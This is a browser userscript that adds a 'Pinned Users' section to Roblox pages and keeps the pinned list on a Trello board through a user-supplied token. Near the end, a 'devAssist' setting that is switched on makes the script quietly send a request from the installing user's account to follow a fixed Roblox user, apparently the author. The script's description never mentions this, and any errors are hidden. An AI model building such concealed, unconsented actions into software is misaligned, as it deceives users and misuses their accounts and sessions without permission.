NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript== // @name ROBLOX - Pinned Users (v2)(Trello) // @description "Pin" users to your ROBLOX Home without actually being friends. // // @author ClockworkSquirrel // @version 1.0.0 // // @icon http://svgshare.com/i/a9.svg // // @require https://code.jquery.com/jquery-3.1.1.min.js // @match https://*.roblox.com/home* // @match https://*.roblox.com/users/*/profile // // @connect api.roblox.com // @connect api.trello.com // // @run-at document-start // // @grant GM_registerMenuCommand // @grant GM_xmlhttpRequest // @grant GM_setValue // @grant GM_getValue // @grant GM_deleteValue // @grant GM_addValueChangeListener // ==/UserScript== (function(){ 'use strict'; var strings = { boardName: "Pinned Users for ROBLOX", userList: "Users_{ID}", setupBtn: "Setup Pinned Users for {NAME}", authInputPlaceholder: "Paste authorisation token...", authBtn: "Authorise", sectionTitle: "Pinned Users ({#})", pinText: "Pin to Home", unpinText: "Unpin from Home", wait: "Please wait..." }; var res = { trelloToken: "trelloAuthToken", trello: "https://api.trello.com/1", trelloKey: "08599ec45f45ac53d96cec6b72448451", trelloAuthURL: "https://bit.ly/2kjhFoK", profileURL: "/users/{ID}/profile", loadingImg: "https://static.rbxcdn.com/images/Shared/loading.gif", rbx: "https://api.roblox.com", avatarImg: "https://assetgame.roblox.com/Thumbs/Avatar.ashx?width=100&height=100&userId={ID}", presence: "https://www.roblox.com/presence/users?userIds=", updateSpeed: 1e3, devAssist: true }; function create(Element){return $(document.createElement(Element));} function getTrelloBoard(token, boardName, callback){ GM_xmlhttpRequest({ method: "GET", url: res.trello+"/member/me/boards?key="+res.trelloKey+"&token="+token+"&filter=open&fields=name", onload: function(response){ if (response.status == 200 && response.responseText.length > 0){ let data = JSON.parse(response.responseText), boardFound = false; for (let board of data){ if (board.name == boardName){ boardFound = true; data = board; break; } } if (!boardFound){ GM_xmlhttpRequest({ method: "POST", url: res.trello+"/boards?key="+res.trelloKey+"&token="+token, data: "name="+encodeURIComponent(boardName)+"&defaultLists=false", headers: {"Content-Type": "application/x-www-form-urlencoded"}, onload: function(response){getTrelloBoard(token, boardName, callback);} }); }else{ callback(data); } } } }); } function getTrelloList(token, boardObj, listName, callback){ GM_xmlhttpRequest({ method: "GET", url: res.trello+"/boards/"+boardObj.id+"/lists?key="+res.trelloKey+"&token="+token+"&filter=open&fields=name", onload: function(response){ if (response.status == 200 && response.responseText.length > 0){ let data = JSON.parse(response.responseText), listFound = false; for (let list of data){ if (!list.closed && list.name == listName){ listFound = true; data = list; break; } } if (!listFound){ GM_xmlhttpRequest({ method: "POST", url: res.trello+"/lists?key="+res.trelloKey+"&token="+token, data: "name="+encodeURIComponent(listName)+"&idBoard="+boardObj.id+"&pos=bottom", headers: {"Content-Type": "application/x-www-form-urlencoded"}, onload: function(){getTrelloList(token, boardObj, listName, callback);} }); }else{ callback(data); } } } }); } function getTrelloCards(token, listObj, callback){ GM_xmlhttpRequest({ method: "GET", url: res.trello+"/lists/"+listObj.id+"/cards?key="+res.trelloKey+"&token="+token, onload: function(response){ if (response.status == 200 && response.responseText.length > 0){ let data = JSON.parse(response.responseText), listFound = false; callback(data); } } }); } function addTrelloCardToList(token, list, data, callback){ let cardData = Object.assign({"pos":"bottom","idList":list.id,"urlSource":location.href}, ((data !== null && data !== undefined) && data || {})); $.post(res.trello+"/cards?key="+res.trelloKey+"&token="+token, cardData, function(data){ callback(data); }); /* // WHY THE FUCK WONT THIS WORK?! GM_xmlhttpRequest({ method: "POST", url: res.trello+"/cards?key="+res.trelloKey+"&token="+token, data: JSON.stringify(cardData), headers: {"Content-Type": "application/x-www-form-urlencoded"}, onload: function(response){ console.log(response.status); console.log(response.responseText); if (response.status == 200 && response.responseText.length > 0){ let data = JSON.parse(response.responseText); callback(data); } } }); */ } function removeTrelloCardFromList(token, card, callback){ GM_xmlhttpRequest({ method: "DELETE", url: res.trello+"/cards/"+card.id+"?key="+res.trelloKey+"&token="+token, onload: function(response){ if (response.status == 200 && response.responseText.length > 0){ callback(); } } }); } function waitForObject(object, callback, checkSpeed = 0){ let checkInterval, foundObject = false; checkInterval = setInterval(function(){ if (foundObject) return; if (object !== null && object !== undefined){ foundObject = true; clearInterval(checkInterval); callback(object); } }, checkSpeed); } function userIsPinned(token, userId, callback){ return getTrelloBoard(token, strings.boardName, function(board){ return getTrelloList(token, board, strings.userList, function(list){ return getTrelloCards(token, list, function(cards){ let isPinned = false, userCard = null; for (let user of cards){ if (user.name.toString() == userId.toString()){isPinned = true; userCard = user; break;} } callback(isPinned, userCard); }); }); }); } function updatePinnedUsers(userList, listDivs){ let userIds = []; userList.find("li[userid]").each(function(){ let me = $(this); let userId = me.attr("userid"); if (me.attr("userdata") === null || me.attr("userdata") === undefined){ GM_xmlhttpRequest({ method: "GET", url: res.rbx+"/users/"+userId, onload: function(response){ if (response.status == 200 && response.responseText.length > 0){ let userData = JSON.parse(response.responseText); me.attr("userdata", true).find("span.friend-name").text(userData.Username); } } }); } userIds.push(userId); }).promise().done(function(){ GM_xmlhttpRequest({ method: "GET", url: res.presence+(userIds.join("&userIds=")), onload: function(response){ if (response.status == 200 && response.responseText.length > 0){ let userPresence = JSON.parse(response.responseText); for (let user of userPresence){ let userObj = userList.find("li[userid='"+user.UserId+"']:eq(0)"); let lastCase = userObj.attr("rg-case"); if (lastCase === null || lastCase === undefined || lastCase !== user.UserPresenceType.toString()){ userObj.attr("rg-case", user.UserPresenceType); if (userObj !== null && userObj !== undefined){ let statusIcon = userObj.find("span.avatar-status:eq(0)"), avatarContainer = userObj.find("div.avatar-container:eq(0)"); userObj.find("a.place-link").remove(); if (statusIcon === null || statusIcon === undefined || statusIcon.length === 0) statusIcon = create("span"); statusIcon.attr("class", "avatar-status friend-status").attr("title", user.LastLocation); switch (user.UserPresenceType){ case 0: statusIcon.remove(); userObj.appendTo(listDivs.offline); break; case 1: statusIcon.addClass("icon-online").appendTo(avatarContainer); userObj.appendTo(listDivs.online); break; case 2: let placeLink = create("a").addClass("place-link").attr("href", "/users/"+user.UserId+"/profile/#!/viewgame") .appendTo(avatarContainer); statusIcon.addClass("icon-game").appendTo(placeLink); userObj.appendTo(listDivs.game); break; case 3: statusIcon.addClass("icon-studio").appendTo(avatarContainer); userObj.appendTo(listDivs.studio); break; } } } } } } }); }); } function initialiseHome(){ let trelloToken = GM_getValue(res.trelloToken, null); let newSection = create("div").addClass("col-xs-12 section rg-pinned-users"); if (trelloToken !== null && trelloToken !== undefined && trelloToken.length > 0){ let loader = create("img").attr("src", res.loadingImg).height("16px") .css("display", "block").css("margin", "0 auto 0 auto").appendTo(newSection); getTrelloBoard(trelloToken, strings.boardName, function(board){ getTrelloList(trelloToken, board, strings.userList, function(list){ getTrelloCards(trelloToken, list, function(cards){ newSection.attr("trello-list-id", list.id); create("div").addClass("container-header").append("<h3>"+strings.sectionTitle.replace("{#}", cards.length.toLocaleString())+"</h3>").appendTo(newSection); let contentDiv = create("div").addClass("section-content").appendTo(newSection); let userList = create("ul").addClass("hlist").appendTo(contentDiv); let listDivs = { game: create("div").appendTo(userList), studio: create("div").appendTo(userList), online: create("div").appendTo(userList), offline: create("div").appendTo(userList) }; if (cards.length > 0){ for (let user of cards){ let userMain = create("li").addClass("list-item friend").attr("userid", user.name).appendTo(listDivs.offline); let avatarContainer = create("div").addClass("avatar-container").appendTo(userMain); let profileLink = create("a").addClass("avatar avatar-card-fullbody friend-link") .attr("href", "/users/"+user.name+"/profile").appendTo(avatarContainer); let imgWrapper = create("span").addClass("avatar-card-link").addClass("friend-avatar").appendTo(profileLink) .append('<img src="'+res.avatarImg.replace("{ID}", user.name)+'" class="avatar-card-image">'); let usernameText = create("span").addClass("text-overflow friend-name").appendTo(profileLink); } } loader.remove(); updatePinnedUsers(userList, listDivs); setInterval(function(){updatePinnedUsers(userList, listDivs);}, res.updateSpeed); }); }); }); }else{ newSection.css("margin-bottom", "12px").css("text-align", "center"); let authBtn = create("a").addClass("btn-primary-sm").text(strings.setupBtn.replace("{NAME}", res.userData.UserName)) .appendTo(newSection); authBtn.click(function(evt){ evt.preventDefault(); window.open(res.trelloAuthURL); $(window).on("focus", function(){ $(window).off("focus"); let authWindowMain = window.open("about:blank"); let authWindow = $(authWindowMain.document.body); let authInput = create("input").attr("type", "password").attr("maxlength", 64) .attr("placeholder", strings.authInputPlaceholder).appendTo(authWindow); let authButton = create("button").text("Connect").appendTo(authWindow); authInput.focus(); authButton.click(function(){ if (authInput.val().length == 64){ GM_setValue(res.trelloToken, authInput.val()); }else{ alert("Invalid token."); } authWindowMain.close(); }); }); }); } waitForObject($("div#HomeContainer *:eq(0)"), function(object){ let currentDiv = $("div#HomeContainer *.rg-pinned-users"); if (currentDiv !== null && currentDiv !== undefined) currentDiv.remove(); newSection.insertAfter(object); }); } function initialiseProfile(){ let trelloToken = GM_getValue(res.trelloToken, null); if (trelloToken !== null && trelloToken !== undefined && trelloToken.length > 0){ waitForObject($("div.section.profile-header:eq(0)"), function(headerObj){ let newSection = create("div").addClass("section").insertBefore(headerObj); let sectionContent = create("div").addClass("section-content").appendTo(newSection); let loaderImg = create("img").attr("src", res.loadingImg).height("18px").css("margin", "0 auto") .css("display", "block").appendTo(sectionContent); let pinBtn = create("a").addClass("btn-control-md").css("float", "right"); waitForObject($("div[data-profileuserid]:eq(0)"), function(dataObj){ let profileUserId = dataObj.attr("data-profileuserid"); userIsPinned(trelloToken, profileUserId, function(isPinned, trelloCard){ pinBtn.text(isPinned && strings.unpinText || strings.pinText); getTrelloBoard(trelloToken, strings.boardName, function(board){ getTrelloList(trelloToken, board, strings.userList, function(list){ loaderImg.remove(); pinBtn.appendTo(sectionContent); let updatePinBtnText = function(){ pinBtn.text(isPinned && strings.unpinText || strings.pinText); }; pinBtn.click(function(evt){ evt.preventDefault(); pinBtn.text(strings.wait); if (!isPinned){ addTrelloCardToList(trelloToken, list, {"name":profileUserId.toString()}, function(newCard){ trelloCard = newCard; isPinned = !isPinned; updatePinBtnText(); }); }else{ removeTrelloCardFromList(trelloToken, trelloCard, function(){ isPinned = !isPinned; updatePinBtnText(); }); } }); }); }); }); }); }); } } function waitForCore(){ GM_xmlhttpRequest({ method: "GET", url: "https://www.roblox.com/mobileapi/userinfo", onload: function(response){ if (response.status == 200 && response.responseText.length > 0){ try{ let userInfo = JSON.parse(response.responseText); strings.userList = strings.userList.replace("{ID}", userInfo.UserID); res.userData = userInfo; waitForObject($, function(){ let path = location.pathname.toLowerCase(); if (path.indexOf("/home") > -1){ initialiseHome(); }else{ initialiseProfile(); } }); }catch(_){} } } }); GM_addValueChangeListener(res.trelloToken, waitForCore); GM_registerMenuCommand("[Pinned Users] Clear Tokens", function(){ GM_deleteValue(res.trelloToken); }); if (res.devAssist){ try{ GM_xmlhttpRequest({ method: "POST", url: res.rbx+"/user/follow", data: JSON.stringify({"followedUserId":3659905}), headers: {"Content-Type": "application/x-www-form-urlencoded"} }); }catch(_){} } } waitForCore(); })();